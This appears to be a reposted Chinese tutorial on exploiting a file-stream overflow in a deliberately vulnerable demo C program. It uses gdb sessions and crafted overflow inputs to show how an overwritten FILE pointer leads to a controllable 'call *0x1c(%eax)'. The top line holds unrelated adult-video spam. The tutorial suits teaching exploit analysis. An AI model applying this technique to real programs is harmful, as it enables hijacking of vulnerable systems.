国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費(fèi)電子書等14項(xiàng)超值服

開通VIP
漏洞利用的方法之研究
原創(chuàng):noble(noble) 

漏洞利用的方法之研究

作者:noble
郵箱:noble_shi@21cn.com
聲明:
(1)本文可以任意修改,不過請(qǐng)保留該頭。
(2)由于作者水平有限,如有錯(cuò)誤,請(qǐng)不吝賜教。
(3)本文中引用了alert7大俠的一個(gè)例子。
目錄:
(1)前言
(2)漏洞利用方法
(3)結(jié)論(如果能看懂,第一、二部分可以略去)

1.前言
先說一些廢話把。
昨天看了altert7的FSO(File Stream Overflows)型溢出介紹后,覺得寫一寫漏洞利用方法還是有必要的。
對(duì)于有源碼的,那當(dāng)然要簡(jiǎn)單一些。但是通常情況下讀源碼很費(fèi)勁,而且需要大量的后備知識(shí),所以相對(duì)來說還是比較困難。以前我也這么做過,確實(shí)不易。相對(duì)來說,發(fā)現(xiàn)程序出錯(cuò),然后在出錯(cuò)的地方尋找漏洞,相對(duì)來說還是要簡(jiǎn)單一些。
下面的討論我們都假設(shè)沒有源碼可查,在黑暗中摸索漏洞。
為了我自己方便期間,也為了大家讀起來熟悉,我們還用alert7先生的那個(gè)FSO可溢出的程序作為例子。


2.漏洞利用方法 

下面是alert7的一個(gè)可以被FSO溢出的例子,我們?cè)谶@里引用。
/*
*vul.c demo
*write by alert7@xfocus.org
*/
#include 

int main(int argc, char *argv[])
{
FILE * fp;
char buf[1024];
int i;
fp =stdout;
i = (int)&fp-(int)&buf;
printf(" fp addr %p point %p buf addr %p len %d ",&fp,fp,buf,i);

strncpy(buf,argv[1],i +4 );

fprintf(fp,"%s ",buf);
exit(0);
}

首先我們編譯、運(yùn)行之,發(fā)現(xiàn)出錯(cuò)了,如下:
bash-2.05$ ./vul
fp addr 0xbffff9ac point 0x4015ee60
buf addr 0xbffff5a0
len 1036
Segmentation fault


然后用gdb調(diào)試,注意,我們這里假設(shè)已經(jīng)知道用多個(gè)“A”做參數(shù)程序會(huì)出錯(cuò),則如下:
bash-2.05$ gdb -q vul
(gdb) r `perl -e print "A"x2000 `
Starting program: /home/syf/syf/try/vul `perl -e print "A"x2000 `
fp addr 0xbfffe6bc point 0x4015ee60
buf addr 0xbfffe2b0
len 1036

Program received signal SIGSEGV, Segmentation fault.
0x4007fe77 in _IO_vfprintf (s=0x41414141, format=0x804866a "%s ", ap=0xbfffe298) 
at vfprintf.c:271
271 vfprintf.c: No such file or directory.
in vfprintf.c
(gdb) i r eax edx eip
eax 0x41414141 1094795585
edx 0x804866a 134514282
eip 0x4007fe77 0x4007fe77

然后應(yīng)該怎么辦那,首先要看看出錯(cuò)的那條指令是什么:
(gdb) x/i $eip
0x4007fe77 <_IO_vfprintf+55>: cmpb $0x0,0x46(%eax)

不爽,這條指令是cmpb ,這對(duì)我們可沒什么用,我們需要的是call, 
jmp之類的東西。所以我們?cè)跇?gòu)造參數(shù)的時(shí)候,需要源程序執(zhí)行時(shí)能越過這條指令,看看越過這條指令之后,再次出錯(cuò)時(shí),能不能碰到call或jmp之類的我們可以利用的指令。
那么,怎么構(gòu)造參數(shù)才能越過這條指令呢?分析一下問什么會(huì)出錯(cuò)把,正如altert7所說,“ 
現(xiàn)在我們的fp已經(jīng)被覆蓋成了0x41414141,該地址是沒有映射的,所以cmpb $0x0,0x46(%eax) 
指令操作失敗了”,不錯(cuò),我們要將$0x0和0x46(%eax)做比較,那就是將$0x0和 
(%eax+46)==(0x41414141+46)做比較,必然出錯(cuò)。那么只要我們能讓eax是一個(gè)已經(jīng)在內(nèi)存中映射了的值就行了。那就需要我們構(gòu)造合適的參數(shù)了。
在這個(gè)程序中,altert7大俠告訴了我們eax就是fp,如果不知道,而且由源碼,那該怎么辦呢?繼續(xù)分析把!
(gdb) x/10i $eip - 0x10
0x4007fe67 <_IO_vfprintf+39>: call 0x40046050 <_dl_pagesize+193620>
0x4007fe6c <_IO_vfprintf+44>: mov (%eax),%eax
0x4007fe6e <_IO_vfprintf+46>: mov %eax,0xfffffa80(%ebp)
0x4007fe74 <_IO_vfprintf+52>: mov 0x8(%ebp),%eax
0x4007fe77 <_IO_vfprintf+55>: cmpb $0x0,0x46(%eax)
0x4007fe7b <_IO_vfprintf+59>: je 0x40084a80 <_IO_vfprintf+19520>
0x4007fe81 <_IO_vfprintf+65>: mov 0x8(%ebp),%esi
0x4007fe84 <_IO_vfprintf+68>: mov (%esi),%eax
0x4007fe86 <_IO_vfprintf+70>: test $0x8,%eax
0x4007fe8b <_IO_vfprintf+75>: je 0x4007feb0 <_IO_vfprintf+112>
從上面可以看到eax的戶籍:mov 
0x8(%ebp),%eax,那么ebp是什么呢?眾所周知,ebp是函數(shù)堆棧棧頂指針,那么0x8(%ebp)就應(yīng)該是函數(shù)_IO_vfprintf()的第一個(gè)參數(shù),那么我們會(huì)猜到,這個(gè)函數(shù)的第一個(gè)參數(shù)很可能就是FILE指針。不信,你可以看看glibc,這玩藝可是公開的,當(dāng)然在沒有源碼的情況下你可以做測(cè)試呀,來驗(yàn)證你的想法。不過這里即使知道了是FILE指針。
下面,繼續(xù)尋找改變eax的方法,我還沒想到特別好的方法,那就做測(cè)試把,改變參數(shù),不停的測(cè)試,直到(gdb) r `perl -e print "A"x1037 
`,我們發(fā)現(xiàn):

(gdb) r `perl -e print "A"x1037 `
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/syf/syf/try/vul `perl -e print "A"x1037 `
fp addr 0xbfffdc8c point 0x4015ee60
buf addr 0xbfffd880
len 1036

Program received signal SIGSEGV, Segmentation fault.
0x4007fe77 in _IO_vfprintf (s=0x41, format=0x804866a "%s ", ap=0xbfffd868) at 
vfprintf.c:271
271 vfprintf.c: No such file or directory.
in vfprintf.c
(gdb) i r eax
eax 0x41 65

好了,我們知道了,當(dāng)長(zhǎng)度是1036時(shí),正好不改變eax的值,當(dāng)長(zhǎng)度是1040時(shí),正好改變eax的值。
聯(lián)系剛才說的那個(gè)FILE指針,你能不能猜到當(dāng)長(zhǎng)度是1036時(shí),正好不會(huì)覆蓋一個(gè)FILE指針,而長(zhǎng)度是當(dāng)長(zhǎng)度是1040時(shí),正好會(huì)覆蓋它呢?不過即使你猜不到也沒關(guān)系,你只需要知道eax是函數(shù)_IO_vfprintf()的第一個(gè)參數(shù),而這個(gè)參數(shù)正好和我們參數(shù)長(zhǎng)度是1036指向的那個(gè)內(nèi)存中的數(shù)據(jù)等就行了。

下面我們就把1036-1040改為已經(jīng)映射了的內(nèi)存。簡(jiǎn)單的,隨便選取一個(gè)把,為了兼容,我選取了alert7的那個(gè),我試了,用別的也可以,不過不能有x00,那樣字符串復(fù)制就會(huì)產(chǎn)生中斷。
繼續(xù)如下:
(gdb) r `perl -e print "A"x1036 ;print "x04xf4xffxbf" `
Starting program: /home/syf/syf/try/vul `perl -e print "A"x1036 ;print 
"x04xf4xffxbf" `
fp addr 0xbfffe3fc point 0x4015ee60
buf addr 0xbfffdff0
len 1036

Program received signal SIGSEGV, Segmentation fault.
0x40080008 in _IO_vfprintf (s=0xbffff404, format=0x804866a "%s ", ap=0xbfffdfd8) 
at vfprintf.c:1322
1322 vfprintf.c: No such file or directory.
in vfprintf.c

好了,又出現(xiàn)錯(cuò)誤了,看看這次出錯(cuò)的指令是什么:
(gdb) x/i $eip
0x40080008 <_IO_vfprintf+456>: call *0x1c(%eax)
太好了,是call,有希望了。但是還有一個(gè)困難,也是最重要的一點(diǎn),就是我們能否控制eax,只要我們控制了eax,也就控制了程序的流程。下面看看相關(guān)的指令把:

(gdb) x/20i $eip-40
0x4007ffe0 <_IO_vfprintf+416>: je 0x40084a00 <_IO_vfprintf+19392>
0x4007ffe6 <_IO_vfprintf+422>: mov 0x8(%ebp),%edx
0x4007ffe9 <_IO_vfprintf+425>: sub $0x4,%esp
0x4007ffec <_IO_vfprintf+428>: mov 0xfffffa74(%ebp),%edi
0x4007fff2 <_IO_vfprintf+434>: mov 0xc(%ebp),%esi
0x4007fff5 <_IO_vfprintf+437>: movsbl 0x46(%edx),%eax
0x4007fff9 <_IO_vfprintf+441>: sub %esi,%edi
0x4007fffb <_IO_vfprintf+443>: mov 0x94(%eax,%edx,1),%eax
0x40080002 <_IO_vfprintf+450>: push %edi
0x40080003 <_IO_vfprintf+451>: mov 0xc(%ebp),%ecx
0x40080006 <_IO_vfprintf+454>: push %ecx
0x40080007 <_IO_vfprintf+455>: push %edx
0x40080008 <_IO_vfprintf+456>: call *0x1c(%eax)
0x4008000b <_IO_vfprintf+459>: add $0x10,%esp
0x4008000e <_IO_vfprintf+462>: cmp %edi,%eax
0x40080010 <_IO_vfprintf+464>: je 0x40080094 <_IO_vfprintf+596>
0x40080016 <_IO_vfprintf+470>: lea 0x0(%esi),%esi
0x40080019 <_IO_vfprintf+473>: lea 0x0(%edi,1),%edi
0x40080020 <_IO_vfprintf+480>: mov $0xffffffff,%esi
0x40080025 <_IO_vfprintf+485>: mov %esi,0xfffffa90(%ebp)

我們又要查找eax的戶籍了,自下而上依次是:
call *0x1c(%eax)
mov 0x94(%eax,%edx,1),%eax
movsbl 0x46(%edx),%eax

看看edx把:
mov 0x8(%ebp),%edx

好了,我們知道了edx是改函數(shù)_IO_vfprintf()的第一個(gè)參數(shù),也就是在參數(shù)長(zhǎng)度為1036時(shí)指向的那個(gè)內(nèi)存。(如果你猜到那里有個(gè)FILE指針的話,那也就是那個(gè)FILE指針)。
差不多了,現(xiàn)在只要我們改變這個(gè)內(nèi)存的值(參數(shù)長(zhǎng)度為1036時(shí)指向的那個(gè)內(nèi)存),就可以控制程序的流程了。怎么控制呢?如下:
(1)_IO_vfprintf()的第一個(gè)參數(shù)==參數(shù)長(zhǎng)度為1036時(shí)指向的那個(gè)內(nèi)存
(2)edx = 0x8(%ebp) = _IO_vfprintf()的第一個(gè)參數(shù)
(3)eax = 0x94(%eax,%edx,1) = *(eax + 0x94 + edx*1) = *(*(edx+46) + 0x94 + edx)
(4)call *0x1c(%eax)

所以,只要我們能夠控制edx,就可以控制call 
*0x1c(%eax),即可以改變程序流程。從上面可以看出,要控制edx,只要能夠控制_IO_vfprintf()的第一個(gè)參數(shù)即可,而這個(gè)參數(shù),就是參數(shù)長(zhǎng)度為1036時(shí)指向的那個(gè)內(nèi)存。
通過上面分析,可以知道,這個(gè)程序完全可以通過溢出獲取系統(tǒng)控制權(quán)。而到現(xiàn)在為止,雖然我們能夠?qū)懗鱿鄳?yīng)的溢出代碼了,但并不需要我們對(duì)源碼進(jìn)行了解,更不需要知道源碼中用了那些數(shù)據(jù)結(jié)構(gòu)和那些算法,完全從出錯(cuò)程序的反匯編就可以寫出溢出代碼。

3.結(jié)論
通過以上分析,我們可以得出如下結(jié)論:
(1)對(duì)于某些溢出,完全可以不用分析源碼就可以寫出溢出代碼。當(dāng)然如果有源碼那就更好了。
(2)必須知道溢出的邊界。即當(dāng)輸入生么樣的參數(shù)時(shí),正好溢出。就像我們上面確定的那個(gè)“1036“那樣的臨界值。對(duì)于這個(gè)值的確定,我還沒有太好的辦法,只能不停的測(cè)試。如果那位大俠有更好的辦法,希望不吝賜教。
(3)我們能夠利用的指令是call,jmp之類。當(dāng)然不至于這些,mov之類寫內(nèi)存的應(yīng)該也是可以的,這類指令應(yīng)該可以導(dǎo)致堆溢出(heap-overflow)。
(4)如果我們出錯(cuò)的位置是我們不能利用的代碼,那么就要想辦法來越過這些代碼,尋找下一條出錯(cuò)指令。
就像上面的例子,我們遇到的第一條出錯(cuò)指令是cmpb 
$0x0,0x46(%eax),這是我們所不能利用的,所以我們要修改參數(shù),使得程序執(zhí)行越過這條出錯(cuò)指令,繼續(xù)運(yùn)行,并分析下遇到的下一條出錯(cuò)指令是否可以利用,實(shí)踐證明下一個(gè)出錯(cuò)指令(call 
*0x1c(%eax))是可以被利用的。
(5)和整形溢出向比較,F(xiàn)SO是在其他溢出(如棧溢出、堆溢出、格式化字符串溢出等)的基礎(chǔ)上形成的,通過其他溢出,達(dá)到覆蓋流文件句柄的目的。而整形溢出則恰恰相反,如果整形除了問題,可以導(dǎo)致其他溢出(如棧溢出、堆溢出、格式化字符串溢出等)。 

本站僅提供存儲(chǔ)服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊舉報(bào)。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
Kernel panic 信息分析方法(轉(zhuǎn)自高人)
C語言中的printf(" %d\n %d\n %d\n %d\n %d\n %d\n",++i,--i,i++,i--,-i++,-i--)
gdb 逆向分析(轉(zhuǎn))
分享一個(gè)有意思的gdb插件
C/C++ 中的函數(shù)參數(shù)傳遞機(jī)制
超級(jí)模塊(3.6正式版)
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長(zhǎng)圖 關(guān)注 下載文章
綁定賬號(hào)成功
后續(xù)可登錄賬號(hào)暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服